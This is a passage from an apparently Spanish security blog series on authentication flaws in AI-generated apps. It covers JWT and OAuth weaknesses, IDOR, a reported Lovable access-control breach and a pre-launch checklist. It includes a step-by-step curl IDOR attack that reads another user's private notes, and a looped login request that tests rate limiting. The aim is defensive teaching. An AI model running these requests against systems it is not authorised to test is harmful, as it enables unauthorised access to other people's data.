«Añade login con Google a mi app» parece la opción segura — que Google se encargue de lo difícil. Pero las implementaciones OAuth generadas por IA introducen sus propios fallos. Los más comunes: omitir el parámetro state (que previene ataques CSRF en el flujo de login), saltarse PKCE (Proof Key for Code Exchange, ahora obligatorio bajo OAuth 2.1), y almacenar tokens de acceso en el lado del cliente en variables JavaScript o localStorage donde cualquier vulnerabilidad XSS puede robarlos.

La IA genera el flujo OAuth que funciona en el camino feliz — el usuario pulsa «Iniciar sesión con Google», es redirigido, vuelve autenticado. Pero las propiedades de seguridad de OAuth dependen de detalles de implementación que la IA omite consistentemente, porque los tutoriales con los que entrenó también los omiten.

El Problema Compuesto

Estos fallos se componen. Un token que nunca expira, firmado con un secreto adivinable, usando una biblioteca que acepta el algoritmo none — eso no es una vulnerabilidad, es una puerta abierta con la llave pegada en el marco. Y como JWT es stateless por diseño, no hay sesión del lado del servidor que inspeccionar o revocar. El token es la sesión. Si el token está comprometido, la sesión está comprometida hasta que se rote el propio secreto de firma, lo que invalida cada sesión activa de cada usuario.

Qué Comprobar

Decodifica uno de tus JWTs en jwt.io. ¿Tiene un claim exp? Si no, tus tokens nunca expiran. Comprueba tu secreto de firma — ¿es una cadena corta y adivinable, o una clave generada aleatoriamente de forma adecuada? Prueba si tu API acepta tokens firmados con el algoritmo none. Y comprueba si cambiar la contraseña de un usuario invalida sus tokens existentes.


Patrón 4: Controles de Acceso Ausentes — Cuando Todo el Mundo Es Admin

El Patrón

Incluso cuando la IA acierta con la autenticación — el usuario puede iniciar sesión, el token se valida en el servidor, la sesión tiene expiración — casi nunca implementa autorización adecuada. La autenticación responde a «¿quién eres?» La autorización responde a «¿qué tienes permitido hacer?» La IA maneja la primera pregunta. Ignora la segunda.

La app típica generada por IA tiene dos roles: conectado y no conectado. Eso es todo. Sin distinción admin vs. usuario regular. Sin permisos a nivel de recurso. Sin controles de acceso a nivel de fila más allá de comprobaciones básicas de «tu ID de usuario coincide con el ID del registro» — y incluso esas son inconsistentes.

Referencias Directas Inseguras a Objetos (IDOR)

Este es el fallo de control de acceso más común en apps vibe-coded. La API usa IDs enteros secuenciales: /api/notes/1, /api/notes/2, /api/notes/3. La IA genera endpoints que obtienen registros por ID sin verificar que el usuario solicitante sea el propietario de ese registro. Así es el ataque completo:

# Autenticarse como Usuario A (ID de usuario: 42)
TOKEN=$(curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"email":"usuarioa@test.com","password":"password123"}' \
  | jq -r '.token')

# Acceder a las notas del propio Usuario A — el endpoint obtiene notas por ID de usuario
curl -H "Authorization: Bearer $TOKEN" https://target.com/api/users/42/notes
# {"notes": [{"id": 101, "content": "Nota privada del Usuario A"}]}

# Ahora pedir las notas del Usuario B (ID de usuario: 43) — mismo token, distinto ID de usuario en la URL
curl -H "Authorization: Bearer $TOKEN" https://target.com/api/users/43/notes
# {"notes": [{"id": 205, "content": "Nota privada del Usuario B"}]}  ← IDOR

Tres peticiones. El token del Usuario A da acceso a las notas del Usuario B porque el endpoint comprueba autenticación («¿es este un token válido?») pero no autorización («¿pertenece este token al usuario 43?»). El ID de usuario en la URL controla de quién se devuelven los datos, y el servidor nunca verifica que coincida con el usuario autenticado.

La app QuickNote en realidad lo hace parcialmente bien — limita la consulta de notas por userId. Pero muchas apps generadas por IA no lo hacen. E incluso QuickNote no impide que un usuario modifique o elimine notas de otro si conoce el ID de la nota, porque las operaciones de actualización y eliminación (que la IA ni siquiera generó — una funcionalidad ausente que en sí misma es una brecha de seguridad) no incluirían necesariamente la comprobación de propiedad.

Caso Real: La Brecha BOLA de Lovable

En abril de 2026, investigadores de seguridad divulgaron una vulnerabilidad de Autorización Rota a Nivel de Objeto (BOLA) en Lovable — la plataforma de vibe coding valorada en 6.600 millones de dólares. Los endpoints de API /projects/{id}/* verificaban tokens de autenticación de Firebase pero omitían completamente las comprobaciones de propiedad. Cinco llamadas API desde una cuenta gratuita bastaban para acceder al código fuente, credenciales de base de datos, historiales de chat con IA y datos de clientes de cualquier otro usuario. Todos los proyectos creados antes de noviembre de 2025 quedaron expuestos. Los investigadores encontraron datos de empleados de Nvidia, Microsoft, Uber y Spotify en los proyectos accesibles.

Este es el Patrón 4 en su forma más pura. La autenticación funcionaba — necesitabas un token válido de Firebase. La autorización estaba ausente — ese token válido te dejaba leer los datos de cualquiera. La plataforma dejó la vulnerabilidad abierta durante 48 días después del informe inicial, cerró informes de seguimiento como duplicados, y al principio calificó los datos expuestos como «comportamiento intencionado.»

La brecha de Lovable merece estudio porque no ocurrió en el proyecto paralelo de alguien. Ocurrió en la propia plataforma — la herramienta en la que millones de vibe coders confían para generar sus aplicaciones. Si la plataforma no consigue hacer bien la autorización, ¿qué probabilidades hay de que las apps construidas sobre ella lo hagan?

Por Qué la IA Falla en Esto

La autorización es inherentemente contextual. Depende de la lógica de negocio — quién debería ver qué, quién puede editar qué, qué acciones requieren privilegios elevados. La IA no puede inferir tus reglas de negocio de un prompt como «construye una app de notas.» Te da la implementación funcional más simple: los usuarios autenticados pueden acceder a sus propios datos. Cualquier cosa más compleja — roles de admin, acceso basado en equipos, recursos compartidos con permisos granulares — requiere diseño explícito que el vibe coder nunca especificó.

Este es uno de los puntos donde la brecha entre «app funcional» y «app segura» es más amplia. La app funciona para cada usuario en aislamiento. Solo falla cuando un usuario intenta acceder a los datos de otro — un caso de prueba que los vibe coders casi nunca ejecutan, porque están probando sus propias funcionalidades, no probando contra otros usuarios.

Qué Comprobar

Inicia sesión como Usuario A. Intenta acceder a los recursos del Usuario B manipulando IDs, parámetros o rutas de API. Si cualquier acceso entre usuarios funciona, tienes IDOR. Comprueba si los endpoints de administración requieren un rol de admin o solo un token válido. Comprueba si las operaciones sensibles (eliminar cuenta, cambiar email, exportar datos) tienen requisitos de autorización adicionales más allá de la autenticación básica.


El Checklist de Autenticación y Secretos

Ejecuta esto contra tu aplicación vibe-coded antes de publicar. Cada elemento se corresponde con un patrón anterior.

Secretos:

  1. Sin claves API, tokens o credenciales en el código fuente — ejecuta gitleaks detect --source . o trufflehog filesystem .
  2. Todos los secretos cargados desde variables de entorno o un gestor de secretos — grep -r "const.*=.*['\"]sk-\|key\|secret\|password" src/
  3. El JavaScript del frontend contiene cero secretos — inspecciona tu bundle compilado: grep -r "API_KEY\|SECRET\|Bearer" dist/
  4. Los archivos .env están en .gitignore — verifica que nunca se hayan commiteado: git log --all --diff-filter=A -- '*.env'
  5. Las credenciales de base de datos usan cuentas de mínimo privilegio — no la cadena de conexión root/admin

Autenticación:

  1. Todas las comprobaciones de autenticación se hacen en el servidor — curl -X GET https://tuapp.com/api/protected sin token. Si devuelve datos, tu autenticación está rota
  2. Contraseñas hasheadas con bcrypt o Argon2 — no MD5, no SHA-256 sin salt
  3. Los tokens JWT incluyen claim exp — decodifica tu token en jwt.io y comprueba el payload
  4. El secreto de firma JWT tiene al menos 256 bits de aleatoriedad — node -e "console.log(require('crypto').randomBytes(32).toString('hex'))" genera uno adecuado
  5. El endpoint de login tiene limitación de tasa — for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" -X POST https://tuapp.com/api/login -d '{"email":"test@test.com","password":"wrong"}'; done — si nunca recibes un 429, no tienes limitación de tasa

Autorización:

  1. Cada endpoint de API comprueba permisos de usuario — no solo autenticación
  2. El acceso a recursos verifica propiedad — inicia sesión como Usuario A, luego `curl -H «Authorization: Bearer » https://tuapp.com/api/resources/` — si devuelve datos del Usuario B, tienes IDOR
  3. Las funciones de admin requieren rol de admin — prueba endpoints de admin con el token de un usuario regular
  4. Las operaciones sensibles requieren re-autenticación o verificación adicional

OAuth (si usas login social):

  1. El flujo OAuth incluye parámetro state para protección CSRF
  2. PKCE está habilitado (busca code_verifier y code_challenge en la petición de autenticación)
  3. Los tokens de acceso se almacenan en el servidor, no en localStorage o variables JavaScript

Gestión de Sesiones:

  1. Los tokens expiran en una ventana razonable (horas, no nunca)
  2. Los cambios de contraseña invalidan sesiones existentes
  3. Existe un mecanismo para forzar la revocación de tokens comprometidos

Esto no es una evaluación de seguridad completa. Pero si tu app vibe-coded falla en cualquiera de estos 20 puntos, tienes una vulnerabilidad crítica que necesita arreglo antes del lanzamiento. Ampliaré esto en un checklist completo para fundadores en la Parte 8 de esta serie.


Lo que Deberías Llevarte de Esto

La demo de QuickNote tiene 67 líneas. Tu app probablemente tiene miles. Cada línea de código de autenticación generada por IA conlleva los mismos riesgos que he mostrado aquí — secretos hardcodeados, comprobaciones del lado del cliente, sesiones rotas, controles de acceso ausentes. La brecha de Lovable demostró que esto no es teórico. El fundador de Enrichlead de la Parte 3 pensó que revisaría la seguridad después. Estaba cerrando en menos de una semana.

Ejecuta el checklist de arriba hoy, no después del lanzamiento. Cada llamada a jwt.sign(), cada hash de contraseña, cada middleware de autenticación que la IA produce necesita una revisión manual — ¿esta comprobación se hace en el servidor, este secreto está externalizado, este token expira, este endpoint verifica autorización y no solo autenticación? Esas preguntas llevan segundos por función, y son la diferencia entre una demo funcional y una aplicación segura.

En VULNEX, los problemas de autenticación aparecen en prácticamente cada aplicación vibe-coded que revisamos — y casi siempre son los hallazgos de mayor gravedad. Mi flujo de trabajo: ejecutar Gitleaks contra el repositorio, revisar el bundle del frontend buscando claves expuestas, probar cada endpoint de API sin el frontend, decodificar los JWTs. Paso las dependencias por npmscan y las contrasto con la base de datos de vulnerabilidades de Snyk — las bibliotecas relacionadas con autenticación son siempre las primeras que reviso.

La IA te construirá una pantalla de login que parece profesional y funciona en una demo. Conseguir que construya autenticación que aguante frente a un atacante real requiere juicio humano y la disciplina de revisar antes de publicar.

Como siempre: no te fíes de nada, verifica todo.


Lecturas Adicionales


Referencias

Publicado en AI, IA, Seguridad, Tecnologia | Etiquetado , , , , , | Deja un comentario